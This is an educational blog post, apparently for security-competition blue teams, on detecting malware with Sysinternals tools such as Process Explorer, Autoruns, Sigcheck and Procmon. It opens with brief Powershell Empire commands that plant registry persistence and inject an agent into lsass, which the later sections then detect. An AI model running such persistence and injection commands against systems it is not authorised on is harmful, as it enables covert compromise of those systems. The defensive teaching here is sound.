## Red team operations

### Planting persistence

  1. Enter “interact <agent ID>” into Powershell Empire
  2. usemodule persistence/userland/registry 
    1. set Listener http80
  3. execute<img src='img/Screen-Shot-2018-06-22-at-11.43.48-PM-768x153.png' width='695' height='139' />

### Process injection

  1. psinject http80 lsass<img src='img/Screen-Shot-2018-06-22-at-11.45.51-PM-768x233.png' width='738' height='224' />

# Obtaining Sysinternals toolkit

## Download zip

  1. Browser 
    1. Browse to https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
  2. Powershell 
    1. Invoke-WebRequest https://download.sysinternals.com/files/SysinternalsSuite.zip -OutFile SysinternalsSuite.zip

## Live SMB share

  1. Open File Explorer
  2. Select “My Computer” on the left
  3. Select “Map network drive”
  4. Enter “\\\live.sysinternals.com” into Folder<img src='img/Screen-Shot-2018-06-22-at-10.51.03-PM-300x214.png' width='422' height='301' />
  5. Select Finish<img src='img/Screen-Shot-2018-06-22-at-10.51.18-PM-300x163.png' width='471' height='256' />

# **Process Explorer**

This by far my **FAVORITE** tool in the Sysinternals toolkit. Process Explorer
provides the most comprehensive information about the current system if you
don’t know where to start. Process Explorer contains a color scheme\(provided
below\) to visually differentiate specific types of processes. Keep in mind,
services are processes that run in the background.

FYI, the Purple colored processes are packed pieces of software, meaning they
may be compressed or obfuscate. Malware authors will pack their malware to
obfuscate any strings within the binary from malware analysis.

## Process colors

  * Pink – Windows Service hosting processes
  * Blue – Current user launched processes
  * Cyan – Windows app store application
  * Purple – Indicates a “packed” piece of software
  * Green – Newly launched processes
  * Red – Terminated process
  * Dark Gray – Suspended process

## Process info

  * Displays a short summary about the process or service running when hovering over it.

<img src='img/Screenshot-from-2016-09-18-004251.png' width='446' height='208'
/><img src='img/Screen-Shot-2018-06-22-at-11.15.08-PM-300x233.png' width='455'
height='353' />

## **Process Details**

Double-clicking a process will pop-up a box with information pertaining to the
process. This information may include details about the binary on disk.
Details about how the process is interacting with the machine – networking,
ASCII strings in the binary on disk vs in memory, and security privileges.

### Image tab

The “Image” tab shows information like the process name, application version
number, execution path, the command used to initiate the process, and the
parent process. The “Verify” button allows an incident responder to verify the
digital signature of a process. Furthermore, Process Explorer will check if
the signature has expired or if the signature has been revoked.

The “VirusTotal” button allows the incident responder to submit the hash of
the **BINARY ON DISK** for analysis by VirusTotal. As you can see below,
VirusTotal reported that the process is not malicious for our FireFox process
and our Powershell Empire agent. This is a very important concept to
understand. Process Explorer is submitting the file hash of the binary on DISK
and not the contents of the process in memory. Therefore, VirusTotal will
report our Powershell Empire agent as benign. In competitions submitting
binaries to VirusTotal may be against the rules. **PLEASE check the rules
before uploading** **the binary** , writing Red Team malware is time
intensive.

<img src='img/Screenshot-from-2016-09-17-233845-237x300.png' width='324'
height='410' />

### <img src='img/Screen-Shot-2019-02-26-at-11.39.17-AM-263x300.png'
width='372' height='425' />

### TCP/IP Tab

The “TCP/IP” tab contains some great information for security competitions
that can be included in incident response reports. The following tab shows
information pertaining to established and listening connections for TCP/TCPv6,
local address/port, remote address/port, and connection status. The incident
responder also has the option to resolve domains or disable it to collect the
IP address. However, if a process has a beaconing component, the connection
entry will show up for less than a second and disappear – more on this later.

<img src='img/Screenshot-from-2016-09-17-233021-236x300.png' width='338'
height='430' />

### Strings tab

The “Strings” tab will show all printable strings within the binary on disk
and in memory. It may be useful to compare the strings from the binary on
disk\(image option\) vs. the strings in memory. In some cases, if the strings
are not the same, this may be an indicator that the process was hijacked.
Strings may reveal IP addresses, domain names, and etc which can be included
in an incident response report.

<img src='img/Screenshot-from-2016-09-17-233034-242x300.png' width='292'
height='362' />

### **Process state\(s\) and tricks**

  1. Right-click a process 
     * Kill Process 
       * As the name implies, this will kill the process
     * Set Priority 
       * If you have a piece of malware you are still analyzing or can’t kill an incident responder can set the priority to “Idle”. This will reduce the amount of processing time and resources the malicious process can utilize.
     * Kill Process Tree 
       * If a malicious parent process is spawning malicious processes the incident responder can kill the entire chain.
     * Restart 
       * The ability to restart a process
       * An incident responder can restart a process to see the initial beacons to a C2 server.
     * Suspend 
       * THIS trick is one of my favorite features built into Process Explorer, especially in security competitions. The Red Team may deploy malware that has multiple processes that look out for each other like watchdogs. For example, let’s say I have deployed malware which has three processes named A, B, and C.If you kill process A, B and C will notice this and respawn A – the same is true with B and C. The best way to tackle this issue is to suspend the process\(A, B, and C\) related to the malware. If the processes are looking for the existence of a process then it will appear but it won’t be active. Once all processes related to the malware are suspended, the incident responder can clean up the malware.
       * <img src='img/Temp2_7909.png' width='230' height='273' />

## Process Explorer Columns

The default view of Process Explorer is pretty verbose but it doesn’t include
all columns for a competition. You may enable additional columns to display
additional attributes about each process, such as:

  * Comand line
  * User that owns the process
  * Verified signer/Digitally signature of the process 
    * It’s a rule by Microsoft that all Microsoft code _**should**_ be signed.
  * Version of the process
  * Image path where the binary resides
  * Auto-start location in the registry
  * Start time of the process
  * Threads of the process, or Number of threads
  * Memory Usage

  1. Right-click the column at the top of the processes and select “Select columns”
  2. Checkboxes to enable a column

<img src='img/Screenshot-from-2016-09-18-000234.png' width='325' height='437'
/>

## Digital/Verify signature of processes

One way to discover malware is a process that isn’t digitally signed by
Microsoft or an authorized digital signature authority. The easiest way to
detect UNsigned processes is to enable the “Verified Signature” column. As a
side note, it is a rule at Microsoft that all code by Microsoft _**should**_
be signed by Microsoft. FYI, if this computer is unplugged from the internet,
it will verify signatures using its built-in record set. If a certificate has
been revoked, this may not be in the built-in record set – no detection.

  1. Select “Options” at the top then “Verify image signatures”. <img src='img/Screen-Shot-2018-06-22-at-11.02.19-PM-260x300.png' width='260' height='300' /><img src='img/Screen-Shot-2018-06-22-at-11.03.28-PM-300x158.png' width='706' height='372' />

## DLL Handles Viewer

This pane will display DLLs being used by a process OR handles being utilized
by a process. A DLL is dynamically linked library which is loaded at run time.
Handles are references to a resource such as memory or an open file on disk.
This section can be very useful but is overwhelming unless you know what you
are looking for.

In the Red Team section above, we injected a Powershell Empire agent into
LSASS. By default, LSASS uses the Microsoft C runtime and at the time of this
writing, does NOT depend on the Microsoft .NET framework. Therefore, one way
to detect if Empire has been injected into LSASS is to detect if the Microsoft
.NET runtime has been loaded.

  * Pressing “Ctrl + D” will open the DLL viewer for a particular process.

<img src='img/Screen-Shot-2019-02-26-at-12.34.29-PM-768x225.png' width='689'
height='202' />

## Process dump

Process Explorer allows for a Blue Teamer to dump the contents of a process
from memory. This dump can then be analyzed by tools such as Volatility and
Rekall for further analysis. However, you will **NOT** have time in a
competition to analyze a memory dump. This is a cool thing to know but is not
something to be done in a competition.

  1. Right-click the “Powershell.exe” process
  2. Go to “Create dump” then select “Create Full dump”

<img src='img/Screenshot-from-2016-09-17-235930-300x143.png' width='300'
height='143' />

## Replace default Task Manager

Process Explorer allows you to replace the Task Manager with Process Explorer.
This is a really great shortcut for Blue Teamers during a competition.

  1. Select “Options” at the top then select “Replace task manager”

<img src='img/Screenshot-from-2016-09-18-000133-253x300.png' width='253'
height='300' />

## Detecting process injection

Below, I am going to demonstrate how to detect Powershell Empire when injected
into a process. The mileage with this detection technique may vary with
different Red Team tools. If you look at the running threads for a process
that has been injected into, you might see a thread with a start address of
“0x0”. In a competition, if a start address is set to 0x0 there is a high
likelihood it’s an injected thread. If you believe this is a malicious thread,
kill the thread, and if you’re correct, their Powershell Empire agent should
die\(Second screenshot\). If you would like more information on this
technique, please see this tutorial for more information

  1. Double-click LSASS.exe
  2. Select the “Threads” tab<img src='img/Screen-Shot-2019-02-26-at-12.44.32-PM-300x167.png' width='471' height='262' />

<img src='img/Screen-Shot-2019-02-26-at-12.53.26-PM.png' width='484'
height='137' />

# **TCPview**

This tool is _like_ a graphical version of the netstat command. By default,
the “Unconnected endpoints” option is enabled. When this option is toggled, it
will only show established TCP connections. Additionally, if toggled again,
UDP connections, listening services, and TCP states like “TIME\_WAIT” will be
displayed. This is one of the many tools in Sysinternals which is simple and
straightforward. As mentioned above, malware with beacon like components will
be displayed in green for less than a second.

## Network colors

  * Green – Newly launched network connections
  * Red – Terminated network connections

## Unconnected Endpoints Disabled

<img src='img/Capture1-768x71.png' width='760' height='71' />

## Unconnected Endpoints Enabled

<img src='img/Screen-Shot-2019-02-27-at-10.49.50-AM-768x252.png' width='722'
height='236' />

## Process Details

<img src='img/Temp2_7911.png' width='253' height='139' /> <img
src='img/Capture4-300x188.png' width='300' height='188' />

# **Autoruns**

Autoruns is a tool that will enumerate all the KNOWN locations that
persistence can be placed. Persistence is “an object and process
characteristics that continue to exist even after the process that created it
ceases or the machine it is running on is powered off. When an object or state
is created and needs to be persistent, it is saved in a non-volatile storage
location, like a hard drive, versus a temporary file or volatile random access
memory “.

For example, persistence is an application that runs when you login or a
service that starts at boot. Red team will place their malware in these
persistent locations to survive a reboot or when the user logs out. Persistent
mechanisms include: scheduled tasks, drivers, services, logon tasks, Office
products, etc.

In a fresh installation of Windows 7 there are roughly 1,000+ persistent
techniques that can be used. Unfortunately, I can’t find my source for this
statement so accept it as is. I would also take the time to watch this Youtube
video: T117 Evading Autoruns Kyle Hanslovan Chris Bisnett on different ways to
evade Autoruns.

Pro tip for Blue Teamers in a competition: Finding ALL the persistent
mechanisms planted by the Red Team is the best way to kick the Red Team out of
your box. If you have successfully removed all the persistent mechanisms, the
next step is to reboot the box. A reboot will wipe all the contents of memory,
so any trusted processes that have been injected, will no longer contain
malicious code. Additionally, persistence can be extended to things such as
users which will NOT be displayed by Autoruns.

  * Everything tab – This tab by default will show all scheduled items such as: drivers, services, scheduled tasks, logon tasks, Office products, etc. To hide Microsoft signed items select “Options” at the top then “Hide Microsoft Entries”.<img src='img/Screen-Shot-2019-02-27-at-10.43.26-AM-768x188.png' width='764' height='186' />
  * Logon tab – All the tasks that will run when a user logs on.<img src='img/Screen-Shot-2019-02-27-at-10.44.21-AM-768x181.png' width='714' height='169' />
  * Explorer tab – All the tasks that will run when explorer.exe starts.<img src='img/Screen-Shot-2019-02-27-at-10.45.22-AM-768x172.png' width='743' height='166' />
  * Scheduled tasks tab – All the scheduled tasks on the system.<img src='img/Screen-Shot-2019-02-27-at-10.46.07-AM-768x216.png' width='742' height='208' />
  * Drivers tab -Display all the hardware drivers<img src='img/Screen-Shot-2019-02-27-at-10.46.26-AM-768x227.png' width='742' height='220' />

## Scan options

  1. Go to “Options” and select “Scan options”. 
    1. The incident responder can select to submit files to VirusTotal. 
      1. Can also submit unknown images.
    2. The incident responder can select to verify signatures.<img src='img/Screen-Shot-2018-06-22-at-11.41.32-PM-300x182.png' width='513' height='311' />

## Discover Empire

  1. Enter “powershell” into the search filter. 
    1. The persistent mechanism we placed earlier will show up. This persistent mechanism will run when the machine starts up.<img src='img/Screen-Shot-2019-02-27-at-10.48.56-AM-300x84.png' width='639' height='179' />

# **ListDLLs**

The name of this tool is self-explanatory on its ability; you have the ability
to search for a specific DLL being utilized by processes, enumerate DLLs in a
process/PID, or enumerate all unsigned DLLs.

## List the DDLs in each process

  1. OpenPowershell prompt as Administrator
  2. Cd Sysinternals
  3. .\listdlls.exe<img src='img/Screen-Shot-2018-06-23-at-12.11.12-AM-768x703.png' width='620' height='568' />

## List all the UNsigned DDLs in processes

  1. .\listdlls.exe -u<img src='img/Screen-Shot-2019-02-26-at-2.22.54-PM-768x162.png' width='614' height='129' />

## List all the processes that contain a specific DLL

A common DLL loaded by Powershell Empire is Microsoft.CSharp.ni.dll. Looking
for this DLL in processes can help you detect Powershell Empire even if
process injection occurred.

  1. .\Listdlls.exe -d Microsoft.CSharp.ni.dll<img src='img/Screen-Shot-2019-02-26-at-2.28.31-PM-768x223.png' width='928' height='269' />

# **Sigcheck**

Sigcheck is a great tool that can be used to verify all executables on a
Windows system. Sigcheck has the option to check all unverified executables if
they are not signed to submit them to VirusTotal. If Sigcheck happens to find
a malicious executable, it will open a VirusTotal webpage to the results and
Sigcheck will return the location of executable.

Red teamers will place their malware in C:\Windows\System32 because that is
where Windows places its binaries. The location of the binary may make the
binary seem legit.

## Clean Windows 10 system

  1. OpenPowershell prompt as Administrator
  2. Cd Sysinternals
  3. .\sigcheck.exe -e -u -vr -s C:\Windows\System32
    1. -e: Look at all executables
    2. -u: Look at all executables that are unsigned
    3. -vr: Submitting executables to VirtusTotal for analysis
    4. -s: A recursive search
    5. C:\Windows\System32 – Location to search<img src='img/Screen-Shot-2019-02-26-at-2.36.10-PM-300x60.png' width='545' height='109' />

## Malicious binary

I copied a malicious binary generated by Empire to C:\Windows\System32. This
binary is UNsigned and as we discussed above is a tactic used by the Red Team.
The screenshot below is demonstrating Sigcheck detecting a rogue binary.

  1. .\sigcheck.exe -e -u -s C:\Windows\System32<img src='img/Screen-Shot-2019-02-26-at-2.41.58-PM-768x219.png' width='673' height='193' />

# **Procmon**

Process Monitor\(ProcMon\) is an advanced monitoring tool for Windows that
shows real-time file system, Registry, and process/thread activity. It
combines the features of two legacy Sysinternals utilities, Filemon and
Regmon, and adds an extensive list of enhancements including rich and non-
destructive filtering, comprehensive event properties such session IDs and
user names, reliable process information, full thread stacks with integrated
symbol support for each operation, simultaneous logging to a file, and much
more. Its uniquely powerful features will make Process Monitor a core utility
in your system troubleshooting and malware hunting toolkit.

Procmon is an **ADVANCE** tool and tends to overwhelm beginners – I know it
overwhelmed me at first. However, once you understand the fundamentals of how
the Windows OS works, it becomes less scary. Procmon by default shows ALLLLLLL
the activities happening on the current machine in real time. The hard part is
knowing what to filter out. Procmon provides a filter ability to look for a
certain type of action or a set of actions. I am going to demonstrate one way
to use a Procmon filter to detect Powershell Empire beaconing.

<img src='img/Screenshot-from-2016-09-18-020940-768x222.png' width='672'
height='195' />

## Detect Powershell Empire beaconing

This Procmon filter will display all the “TCP Connect” operations happening on
the machine. The trick is to look for processes that are consistently making a
TCP connection on a constant interval. The second screenshot below shows
Powershell.exe and LSASS.exe\(our injected process\) making connections on an
interval\(3 seconds\) to 172.16.66.128 on port 80.

  1. Select “Filter” at the top then “Filter”
  2. Add a new entry which matches: 
    1. Set Action to “Operation”
    2. Set operator to “is”
    3. Enter “TCP Connect” into the text filter
    4. Set the selection to “Include”<img src='img/Screen-Shot-2019-02-26-at-2.48.10-PM-300x85.png' width='427' height='121' />
    5. Select “Add”<img src='img/Screen-Shot-2019-02-26-at-2.48.38-PM-300x157.png' width='678' height='355' />

# Sooooo now what?

I often get asked the question “How do I get better at defending Windows?”.
The answer I give is not the answer most people are looking for but it is
**CRUCIAL**. My advice is “Create a Windows 10 VM from an ISO and **ONLY**
look at the processes running”. Understand parent process and child process
relationships. Understand how Windows uses the registry and what type of
settings are stored here. The ultimate goal is to understand what **IS**
normal vs what looks weird – weird is usually Red Team.

The unfortunate thing about security is the step everyone wants to skip is the
basics. I understand that looking at a Windows machine sounds boring but if
you don’t understand how the OS works normally, how can you detect malicious
activity? How can we have a conversation, if you don’t understand why
LSASS.exe having a child process of Powershell is bad? Another saying I often
say is “In security, the boring grunt work is typically the most important”.

However, to make this more exciting, my recommendation is to use a Red Team
framework like Powershell Empire, Cobalt Strike, or Metasploit. Use these
frameworks to attack a Windows machine\(A machine YOU own\) and perform
malicious activities like placing persistence or replacing binaries. Once you
have performed a combination of these Red Team actions, perform forensics to
detect these activities. By understanding the effects of Red Team activities
on a box, it becomes easier to detect them.

# DISCLAIMER

**The information contained in this blog post is for educational purposes
ONLY\! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any
responsibility for any misuse or damage of the information provided in blog
posts, discussions, activities, or exercises.**

# DISCLAIMER

# **Resources/Sources**

  * VirusTotal
  * Sysinterals
  * Malware Hunting with Mark Russinovich and the Sysinternals Tools
  * Sun Tzu qoute
  * Logon types in Windows Server
  * Bypassing Anti-virus by Creating Remote Thread into Target Process
  * What does Persistence mean?

